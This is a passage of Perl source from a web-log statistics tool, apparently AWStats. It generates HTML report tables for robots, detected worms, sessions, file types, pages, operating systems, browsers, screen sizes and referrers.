9853 if ($ShowRobotsStats =~ /B/i) { print "<td>".(Format_Bytes($rest_k))."</td>"; }
9854 if ($ShowRobotsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
9855 print "</tr>\n";
9856 }
9857 &tab_end("* $Message[156]".($TotalRRobots?" $Message[157]":""));
9858 }
9859
9860 # BY WORMS
9861 #----------------------------
9862 if ($ShowWormsStats) {
9863 if ($Debug) { debug("ShowWormsStats",2); }
9864 print "$Center<a name=\"worms\">&nbsp;</a><br />\n";
9865 &tab_head("$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",19,0,'worms');
9866 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(21).">";
9867 print "<th>".(scalar keys %_worm_h)." $Message[164]*</th>";
9868 print "<th>$Message[167]</th>";
9869 if ($ShowWormsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
9870 if ($ShowWormsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
9871 if ($ShowWormsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
9872 print "</tr>\n";
9873 $total_p=$total_h=$total_k=0;
9874 my $count=0;
9875 &BuildKeyList($MaxNbOf{'WormsShown'},$MinHit{'Worm'},\%_worm_h,\%_worm_h);
9876 foreach my $key (@keylist) {
9877 print "<tr>";
9878 print "<td class=\"aws\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"").($WormsHashLib{$key}?$WormsHashLib{$key}:$key).($PageDir eq 'rtl'?"</span>":"")."</td>";
9879 print "<td class=\"aws\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"").($WormsHashTarget{$key}?$WormsHashTarget{$key}:$key).($PageDir eq 'rtl'?"</span>":"")."</td>";
9880 if ($ShowWormsStats =~ /H/i) { print "<td>".$_worm_h{$key}."</td>"; }
9881 if ($ShowWormsStats =~ /B/i) { print "<td>".Format_Bytes($_worm_k{$key})."</td>"; }
9882 if ($ShowWormsStats =~ /L/i) { print "<td>".($_worm_l{$key}?Format_Date($_worm_l{$key},1):'-')."</td>"; }
9883 print "</tr>\n";
9884 #$total_p += $_worm_p{$key};
9885 $total_h += $_worm_h{$key};
9886 $total_k += $_worm_k{$key}||0;
9887 $count++;
9888 }
9889 # For worms we need to count Totals
9890 my $TotalPagesWorms = 0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
9891 my $TotalHitsWorms = 0; foreach (values %_worm_h) { $TotalHitsWorms+=$_; }
9892 my $TotalBytesWorms = 0; foreach (values %_worm_k) { $TotalBytesWorms+=$_; }
9893 $rest_p=0; #$rest_p=$TotalPagesRobots-$total_p;
9894 $rest_h=$TotalHitsWorms-$total_h;
9895 $rest_k=$TotalBytesWorms-$total_k;
9896 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other worms
9897 print "<tr>";
9898 print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9899 print "<td class=\"aws\">-</td>";
9900 if ($ShowWormsStats =~ /H/i) { print "<td>".($rest_h)."</td>"; }
9901 if ($ShowWormsStats =~ /B/i) { print "<td>".(Format_Bytes($rest_k))."</td>"; }
9902 if ($ShowWormsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
9903 print "</tr>\n";
9904 }
9905 &tab_end("* $Message[158]");
9906 }
9907
9908 print "\n<a name=\"how\">&nbsp;</a>\n\n";
9909
9910 # BY SESSION
9911 #----------------------------
9912 if ($ShowSessionsStats) {
9913 if ($Debug) { debug("ShowSessionsStats",2); }
9914 print "$Center<a name=\"sessions\">&nbsp;</a><br />\n";
9915 my $title="$Message[117]";
9916 &tab_head($title,19,0,'sessions');
9917 my $Totals=0; foreach (@SessionsRange) { $average_s+=($_session{$_}||0)*$SessionsAverage{$_}; $Totals+=$_session{$_}||0; }
9918 if ($Totals) { $average_s=int($average_s/$Totals); }
9919 else { $average_s='?'; }
9920 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(1)."><th>$Message[10]: $TotalVisits - $Message[96]: $average_s s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
9921 $average_s=0;
9922 $total_s=0;
9923 my $count=0;
9924 foreach my $key (@SessionsRange) {
9925 my $p=0;
9926 if ($TotalVisits) { $p=int($_session{$key}/$TotalVisits*1000)/10; }
9927 $total_s+=$_session{$key}||0;
9928 print "<tr><td class=\"aws\">$key</td>";
9929 print "<td>".($_session{$key}?$_session{$key}:"&nbsp;")."</td>";
9930 print "<td>".($_session{$key}?"$p %":"&nbsp;")."</td>";
9931 print "</tr>\n";
9932 $count++;
9933 }
9934 $rest_s=$TotalVisits-$total_s;
9935 if ($rest_s > 0) { # All others sessions
9936 my $p=0;
9937 if ($TotalVisits) { $p=int($rest_s/$TotalVisits*1000)/10; }
9938 print "<tr".Tooltip(20)."><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
9939 print "<td>$rest_s</td>";
9940 print "<td>".($rest_s?"$p %":"&nbsp;")."</td>";
9941 print "</tr>\n";
9942 }
9943 &tab_end();
9944 }
9945
9946 # BY FILE TYPE
9947 #-------------------------
9948 if ($ShowFileTypesStats) {
9949 if ($Debug) { debug("ShowFileTypesStatsCompressionStats",2); }
9950 print "$Center<a name=\"filetypes\">&nbsp;</a><br />\n";
9951 my $Totalh=0; foreach (keys %_filetypes_h) { $Totalh+=$_filetypes_h{$_}; }
9952 my $Totalk=0; foreach (keys %_filetypes_k) { $Totalk+=$_filetypes_k{$_}; }
9953 my $title="$Message[73]";
9954 if ($ShowFileTypesStats =~ /C/i) { $title.=" - $Message[98]"; }
9955 &tab_head("$title",19,0,'filetypes');
9956 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
9957 if ($ShowFileTypesStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; }
9958 if ($ShowFileTypesStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; }
9959 if ($ShowFileTypesStats =~ /C/i) { print "<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>"; }
9960 print "</tr>\n";
9961 my $total_con=0; my $total_cre=0;
9962 my $count=0;
9963 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_filetypes_h,\%_filetypes_h);
9964 foreach my $key (@keylist) {
9965 my $p_h='&nbsp;'; my $p_k='&nbsp;';
9966 if ($Totalh) { $p_h=int($_filetypes_h{$key}/$Totalh*1000)/10; $p_h="$p_h %"; }
9967 if ($Totalk) { $p_k=int($_filetypes_k{$key}/$Totalk*1000)/10; $p_k="$p_k %"; }
9968 if ($key eq 'Unknown') {
9969 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/mime\/unknown.png\"".AltTitle("")." /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
9970 }
9971 else {
9972 my $nameicon=$MimeHashIcon{$key}||"notavailable";
9973 my $nametype=$MimeHashLib{$MimeHashFamily{$key}||""}||"&nbsp;";
9974 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/mime\/$nameicon.png\"".AltTitle("")." /></td><td class=\"aws\">$key</td>";
9975 print "<td class=\"aws\">$nametype</td>";
9976 }
9977 if ($ShowFileTypesStats =~ /H/i) { print "<td>$_filetypes_h{$key}</td><td>$p_h</td>"; }
9978 if ($ShowFileTypesStats =~ /B/i) { print '<td nowrap="nowrap">'.Format_Bytes($_filetypes_k{$key})."</td><td>$p_k</td>"; }
9979 if ($ShowFileTypesStats =~ /C/i) {
9980 if ($_filetypes_gz_in{$key}) {
9981 my $percent=int(100*(1-$_filetypes_gz_out{$key}/$_filetypes_gz_in{$key}));
9982 printf("<td>%s</td><td>%s</td><td>%s (%s%)</td>",Format_Bytes($_filetypes_gz_in{$key}),Format_Bytes($_filetypes_gz_out{$key}),Format_Bytes($_filetypes_gz_in{$key}-$_filetypes_gz_out{$key}),$percent);
9983 $total_con+=$_filetypes_gz_in{$key};
9984 $total_cre+=$_filetypes_gz_out{$key};
9985 }
9986 else {
9987 print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
9988 }
9989 }
9990 print "</tr>\n";
9991 $count++;
9992 }
9993 # Add total (only usefull if compression is enabled)
9994 if ($ShowFileTypesStats =~ /C/i) {
9995 my $colspan=3;
9996 if ($ShowFileTypesStats =~ /H/i) { $colspan+=2; }
9997 if ($ShowFileTypesStats =~ /B/i) { $colspan+=2; }
9998 print "<tr>";
9999 print "<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
10000 if ($ShowFileTypesStats =~ /C/i) {
10001 if ($total_con) {
10002 my $percent=int(100*(1-$total_cre/$total_con));
10003 printf("<td>%s</td><td>%s</td><td>%s (%s%)</td>",Format_Bytes($total_con),Format_Bytes($total_cre),Format_Bytes($total_con-$total_cre),$percent);
10004 }
10005 else {
10006 print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
10007 }
10008 }
10009 print "</tr>\n";
10010 }
10011 &tab_end();
10012 }
10013
10014 # BY FILE SIZE
10015 #-------------------------
10016 if ($ShowFileSizesStats) {
10017
10018 }
10019
10020 # BY FILE/URL
10021 #-------------------------
10022 if ($ShowPagesStats) {
10023 if ($Debug) { debug("ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",2); }
10024 print "$Center<a name=\"urls\">&nbsp;</a><a name=\"entry\">&nbsp;</a><a name=\"exit\">&nbsp;</a><br />\n";
10025 my $title="$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urldetail"):"$PROG$StaticLinks.urldetail.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>";
10026 if ($ShowPagesStats =~ /E/i) { $title.=" &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urlentry"):"$PROG$StaticLinks.urlentry.$StaticExt")."\"$NewLinkTarget>$Message[104]</a>"; }
10027 if ($ShowPagesStats =~ /X/i) { $title.=" &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urlexit"):"$PROG$StaticLinks.urlexit.$StaticExt")."\"$NewLinkTarget>$Message[116]</a>"; }
10028 &tab_head("$title",19,0,'urls');
10029 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentPages $Message[28]</th>";
10030 if ($ShowPagesStats =~ /P/i && $LogType ne 'F') { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; }
10031 if ($ShowPagesStats =~ /[PH]/i && $LogType eq 'F') { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
10032 if ($ShowPagesStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; }
10033 if ($ShowPagesStats =~ /E/i) { print "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; }
10034 if ($ShowPagesStats =~ /X/i) { print "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; }
10035 # Call to plugins' function ShowPagesAddField
10036 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
10037# my $function="ShowPagesAddField_$pluginname('title')";
10038# eval("$function");
10039 my $function="ShowPagesAddField_$pluginname";
10040 &$function('title');
10041 }
10042 print "<th>&nbsp;</th></tr>\n";
10043 $total_p=$total_e=$total_x=$total_k=0;
10044 $max_p=1; $max_k=1;
10045 my $count=0;
10046 &BuildKeyList($MaxNbOf{'PageShown'},$MinHit{'File'},\%_url_p,\%_url_p);
10047 foreach my $key (@keylist) {
10048 if ($_url_p{$key} > $max_p) { $max_p = $_url_p{$key}; }
10049 if ($_url_k{$key}/($_url_p{$key}||1) > $max_k) { $max_k = $_url_k{$key}/($_url_p{$key}||1); }
10050 }
10051 foreach my $key (@keylist) {
10052 print "<tr><td class=\"aws\">";
10053 &ShowURLInfo($key);
10054 print "</td>";
10055 my $bredde_p=0; my $bredde_e=0; my $bredde_x=0; my $bredde_k=0;
10056 if ($max_p > 0) { $bredde_p=int($BarWidth*($_url_p{$key}||0)/$max_p)+1; }
10057 if (($bredde_p==1) && $_url_p{$key}) { $bredde_p=2; }
10058 if ($max_p > 0) { $bredde_e=int($BarWidth*($_url_e{$key}||0)/$max_p)+1; }
10059 if (($bredde_e==1) && $_url_e{$key}) { $bredde_e=2; }
10060 if ($max_p > 0) { $bredde_x=int($BarWidth*($_url_x{$key}||0)/$max_p)+1; }
10061 if (($bredde_x==1) && $_url_x{$key}) { $bredde_x=2; }
10062 if ($max_k > 0) { $bredde_k=int($BarWidth*(($_url_k{$key}||0)/($_url_p{$key}||1))/$max_k)+1; }
10063 if (($bredde_k==1) && $_url_k{$key}) { $bredde_k=2; }
10064 if ($ShowPagesStats =~ /P/i && $LogType ne 'F') { print "<td>$_url_p{$key}</td>"; }
10065 if ($ShowPagesStats =~ /[PH]/i && $LogType eq 'F') { print "<td>$_url_p{$key}</td>"; }
10066 if ($ShowPagesStats =~ /B/i) { print "<td>".($_url_k{$key}?Format_Bytes($_url_k{$key}/($_url_p{$key}||1)):"&nbsp;")."</td>"; }
10067 if ($ShowPagesStats =~ /E/i) { print "<td>".($_url_e{$key}?$_url_e{$key}:"&nbsp;")."</td>"; }
10068 if ($ShowPagesStats =~ /X/i) { print "<td>".($_url_x{$key}?$_url_x{$key}:"&nbsp;")."</td>"; }
10069 # Call to plugins' function ShowPagesAddField
10070 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
10071# my $function="ShowPagesAddField_$pluginname('$key')";
10072# eval("$function");
10073 my $function="ShowPagesAddField_$pluginname";
10074 &$function($key);
10075 }
10076 print "<td class=\"aws\">";
10077 if ($ShowPagesStats =~ /P/i && $LogType ne 'F') { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\"".AltTitle("")." /><br />"; }
10078 if ($ShowPagesStats =~ /[PH]/i && $LogType eq 'F') { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\"".AltTitle("")." /><br />"; }
10079 if ($ShowPagesStats =~ /B/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\"".AltTitle("")." /><br />"; }
10080 if ($ShowPagesStats =~ /E/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\"".AltTitle("")." /><br />"; }
10081 if ($ShowPagesStats =~ /X/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\"".AltTitle("")." />"; }
10082 print "</td></tr>\n";
10083 $total_p += $_url_p{$key}||0;
10084 $total_e += $_url_e{$key}||0;
10085 $total_x += $_url_x{$key}||0;
10086 $total_k += $_url_k{$key}||0;
10087 $count++;
10088 }
10089 $rest_p=$TotalPages-$total_p;
10090 $rest_e=$TotalEntries-$total_e;
10091 $rest_x=$TotalExits-$total_x;
10092 $rest_k=$TotalBytesPages-$total_k;
10093 if ($rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0) { # All other urls
10094 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
10095 if ($ShowPagesStats =~ /P/i && $LogType ne 'F') { print "<td>$rest_p</td>"; }
10096 if ($ShowPagesStats =~ /[PH]/i && $LogType eq 'F') { print "<td>$rest_p</td>"; }
10097 if ($ShowPagesStats =~ /B/i) { print "<td>".($rest_k?Format_Bytes($rest_k/($rest_p||1)):"&nbsp;")."</td>"; }
10098 if ($ShowPagesStats =~ /E/i) { print "<td>".($rest_e?$rest_e:"&nbsp;")."</td>"; }
10099 if ($ShowPagesStats =~ /X/i) { print "<td>".($rest_x?$rest_x:"&nbsp;")."</td>"; }
10100 # Call to plugins' function ShowPagesAddField
10101 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
10102# my $function="ShowPagesAddField_$pluginname('')";
10103# eval("$function");
10104 my $function="ShowPagesAddField_$pluginname";
10105 &$function('');
10106 }
10107 print "<td>&nbsp;</td></tr>\n";
10108 }
10109 &tab_end();
10110 }
10111
10112 # BY OS
10113 #----------------------------
10114 if ($ShowOSStats) {
10115 if ($Debug) { debug("ShowOSStats",2); }
10116 print "$Center<a name=\"os\">&nbsp;</a><br />\n";
10117 my $Totalh=0; my %new_os_h=();
10118 OSLOOP: foreach my $key (keys %_os_h) {
10119 $Totalh+=$_os_h{$key};
10120 foreach my $family (keys %OSFamily) { if ($key =~ /^$family/i) { $new_os_h{"${family}cumul"}+=$_os_h{$key}; next OSLOOP; } }
10121 $new_os_h{$key}+=$_os_h{$key};
10122 }
10123 my $title="$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=osdetail"):"$PROG$StaticLinks.osdetail.$StaticExt")."\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=unknownos"):"$PROG$StaticLinks.unknownos.$StaticExt")."\"$NewLinkTarget>$Message[0]</a>";
10124 &tab_head("$title",19,0,'os');
10125 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[59]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
10126 $total_h=0;
10127 my $count=0;
10128 &BuildKeyList($MaxNbOf{'OsShown'},$MinHit{'Os'},\%new_os_h,\%new_os_h);
10129 foreach my $key (@keylist) {
10130 my $p='&nbsp;';
10131 if ($Totalh) { $p=int($new_os_h{$key}/$Totalh*1000)/10; $p="$p %"; }
10132 if ($key eq 'Unknown') {
10133 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/os\/unknown.png\"".AltTitle("")." /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td>$_os_h{$key}</td><td>$p</td></tr>\n";
10134 }
10135 else {
10136 my $keywithoutcumul=$key; $keywithoutcumul =~ s/cumul$//i;
10137 my $libos=$OSHashLib{$keywithoutcumul}||$keywithoutcumul;
10138 my $nameicon=$keywithoutcumul; $nameicon =~ s/[^\w]//g;
10139 if ($OSFamily{$keywithoutcumul}) { $libos="<b>".$OSFamily{$keywithoutcumul}."</b>"; }
10140 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/os\/$nameicon.png\"".AltTitle("")." /></td><td class=\"aws\">$libos</td><td>$new_os_h{$key}</td><td>$p</td></tr>\n";
10141 }
10142 $total_h += $new_os_h{$key};
10143 $count++;
10144 }
10145 if ($Debug) { debug("Total real / shown : $Totalh / $total_h",2); }
10146 $rest_h=$Totalh-$total_h;
10147 if ($rest_h > 0) {
10148 my $p;
10149 if ($Totalh) { $p=int($rest_h/$Totalh*1000)/10; }
10150 print "<tr>";
10151 print "<td>&nbsp;</td>";
10152 print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>$rest_h</td>";
10153 print "<td>$p %</td></tr>\n";
10154 }
10155 &tab_end();
10156 }
10157
10158 # BY BROWSER
10159 #----------------------------
10160 if ($ShowBrowsersStats) {
10161 if ($Debug) { debug("ShowBrowsersStats",2); }
10162 print "$Center<a name=\"browsers\">&nbsp;</a><br />\n";
10163 my $Totalh=0; my %new_browser_h=();
10164 BROWSERLOOP: foreach my $key (keys %_browser_h) {
10165 $Totalh+=$_browser_h{$key};
10166 foreach my $family (keys %BrowsersFamily) { if ($key =~ /^$family/i) { $new_browser_h{"${family}cumul"}+=$_browser_h{$key}; next BROWSERLOOP; } }
10167 $new_browser_h{$key}+=$_browser_h{$key};
10168 }
10169 my $title="$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=browserdetail"):"$PROG$StaticLinks.browserdetail.$StaticExt")."\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser"):"$PROG$StaticLinks.unknownbrowser.$StaticExt")."\"$NewLinkTarget>$Message[0]</a>";
10170 &tab_head("$title",19,0,'browsers');
10171 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
10172 $total_h=0;
10173 my $count=0;
10174 &BuildKeyList($MaxNbOf{'BrowsersShown'},$MinHit{'Browser'},\%new_browser_h,\%new_browser_h);
10175 foreach my $key (@keylist) {
10176 my $p='&nbsp;';
10177 if ($Totalh) { $p=int($new_browser_h{$key}/$Totalh*1000)/10; $p="$p %"; }
10178 if ($key eq 'Unknown') {
10179 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/unknown.png\"".AltTitle("")." /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td><td>$_browser_h{$key}</td><td>$p</td></tr>\n";
10180 }
10181 else {
10182 my $keywithoutcumul=$key; $keywithoutcumul =~ s/cumul$//i;
10183 my $libbrowser=$BrowsersHashIDLib{$keywithoutcumul}||$keywithoutcumul;
10184 my $nameicon=$BrowsersHashIcon{$keywithoutcumul}||"notavailable";
10185 if ($BrowsersFamily{$keywithoutcumul}) { $libbrowser="<b>$libbrowser</b>"; }
10186 print "<tr><td".($count?"":" width=\"$WIDTHCOLICON\"")."><img src=\"$DirIcons\/browser\/$nameicon.png\"".AltTitle("")." /></td><td class=\"aws\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"")."$libbrowser".($PageDir eq 'rtl'?"</span>":"")."</td><td>".($BrowsersHereAreGrabbers{$key}?"<b>$Message[112]</b>":"$Message[113]")."</td><td>$new_browser_h{$key}</td><td>$p</td></tr>\n";
10187 }
10188 $total_h += $new_browser_h{$key};
10189 $count++;
10190 }
10191 if ($Debug) { debug("Total real / shown : $Totalh / $total_h",2); }
10192 $rest_h=$Totalh-$total_h;
10193 if ($rest_h > 0) {
10194 my $p;
10195 if ($Totalh) { $p=int($rest_h/$Totalh*1000)/10; }
10196 print "<tr>";
10197 print "<td>&nbsp;</td>";
10198 print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>&nbsp;</td><td>$rest_h</td>";
10199 print "<td>$p %</td></tr>\n";
10200 }
10201 &tab_end();
10202 }
10203
10204 # BY SCREEN SIZE
10205 #----------------------------
10206 if ($ShowScreenSizeStats) {
10207 if ($Debug) { debug("ShowScreenSizeStats",2); }
10208 print "$Center<a name=\"screensizes\">&nbsp;</a><br />\n";
10209 my $Totalh=0; foreach (keys %_screensize_h) { $Totalh+=$_screensize_h{$_}; }
10210 my $title="$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
10211 &tab_head("$title",0,0,'screensizes');
10212 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
10213 my $total_h=0;
10214 my $count=0;
10215 &BuildKeyList($MaxNbOf{'ScreenSizesShown'},$MinHit{'ScreenSize'},\%_screensize_h,\%_screensize_h);
10216 foreach my $key (@keylist) {
10217 my $p='&nbsp;';
10218 if ($Totalh) { $p=int($_screensize_h{$key}/$Totalh*1000)/10; $p="$p %"; }
10219 $total_h+=$_screensize_h{$key}||0;
10220 print "<tr>";
10221 if ($key eq 'Unknown') {
10222 print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
10223 print "<td>$p</td>";
10224 }
10225 else {
10226 my $screensize=$key;
10227 print "<td class=\"aws\">$screensize</td>";
10228 print "<td>$p</td>";
10229 }
10230 print "</tr>\n";
10231 $count++;
10232 }
10233 $rest_h=$Totalh-$total_h;
10234 if ($rest_h > 0) { # All others sessions
10235 my $p=0;
10236 if ($Totalh) { $p=int($rest_h/$Totalh*1000)/10; }
10237 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
10238 print "<td>".($rest_h?"$p %":"&nbsp;")."</td>";
10239 print "</tr>\n";
10240 }
10241 &tab_end();
10242 }
10243
10244 print "\n<a name=\"refering\">&nbsp;</a>\n\n";
10245
10246 # BY REFERENCE
10247 #---------------------------
10248 if ($ShowOriginStats) {
10249 if ($Debug) { debug("ShowOriginStats",2); }
10250 print "$Center<a name=\"referer\">&nbsp;</a><br />\n";
10251 my $Totalp=0; foreach (0..5) { $Totalp+=($_ != 4 || $IncludeInternalLinksInOriginSection)?$_from_p[$_]:0; }
10252 my $Totalh=0; foreach (0..5) { $Totalh+=($_ != 4 || $IncludeInternalLinksInOriginSection)?$_from_h[$_]:0; }
10253 &tab_head($Message[36],19,0,'referer');
10254 my @p_p=(0,0,0,0,0,0);
10255 if ($Totalp > 0) {
10256 $p_p[0]=int($_from_p[0]/$Totalp*1000)/10;
10257 $p_p[1]=int($_from_p[1]/$Totalp*1000)/10;
10258 $p_p[2]=int($_from_p[2]/$Totalp*1000)/10;
10259 $p_p[3]=int($_from_p[3]/$Totalp*1000)/10;
10260 $p_p[4]=int($_from_p[4]/$Totalp*1000)/10;
10261 $p_p[5]=int($_from_p[5]/$Totalp*1000)/10;
10262 }
10263 my @p_h=(0,0,0,0,0,0);
10264 if ($Totalh > 0) {
10265 $p_h[0]=int($_from_h[0]/$Totalh*1000)/10;
10266 $p_h[1]=int($_from_h[1]/$Totalh*1000)/10;
10267 $p_h[2]=int($_from_h[2]/$Totalh*1000)/10;
10268 $p_h[3]=int($_from_h[3]/$Totalh*1000)/10;
10269 $p_h[4]=int($_from_h[4]/$Totalh*1000)/10;
10270 $p_h[5]=int($_from_h[5]/$Totalh*1000)/10;
10271 }
10272 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
10273 if ($ShowOriginStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; }
10274 if ($ShowOriginStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; }
10275 print "</tr>\n";
10276 #------- Referrals by direct address/bookmarks
10277 print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
10278 if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[0]?$_from_p[0]:"&nbsp;")."</td><td>".($_from_p[0]?"$p_p[0] %":"&nbsp;")."</td>"; }
10279 if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[0]?$_from_h[0]:"&nbsp;")."</td><td>".($_from_h[0]?"$p_h[0] %":"&nbsp;")."</td>"; }
10280 print "</tr>\n";
10281 #------- Referrals by news group
10282 print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
10283 if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:"&nbsp;")."</td><td>".($_from_p[5]?"$p_p[5] %":"&nbsp;")."</td>"; }
10284 if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:"&nbsp;")."</td><td>".($_from_h[5]?"$p_h[5] %":"&nbsp;")."</td>"; }
10285 print "</tr>\n";
10286 #------- Referrals by search engines
10287 print "<tr".Tooltip(13)."><td class=\"aws\"><b>$Message[40]</b> - <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=refererse"):"$PROG$StaticLinks.refererse.$StaticExt")."\"$NewLinkTarget>$Message[80]</a><br />\n";
10288 if (scalar keys %_se_referrals_h) {
10289 print "<table>\n";
10290 $total_p=0; $total_h=0;
10291 my $count=0;
10292 &BuildKeyList($MaxNbOf{'RefererShown'},$MinHit{'Refer'},\%_se_referrals_h,((scalar keys %_se_referrals_p)?\%_se_referrals_p:\%_se_referrals_h));
10293 foreach my $key (@keylist) {
10294 my $newreferer=$SearchEnginesHashLib{$key}||CleanXSS($key);
10295 print "<tr><td class=\"aws\">- $newreferer</td>";
10296 print "<td>".($_se_referrals_p{$key}?$_se_referrals_p{$key}:'0')."</td>";
10297 print "<td>$_se_referrals_h{$key}</td>";
10298 print "</tr>\n";
10299 $total_p += $_se_referrals_p{$key};
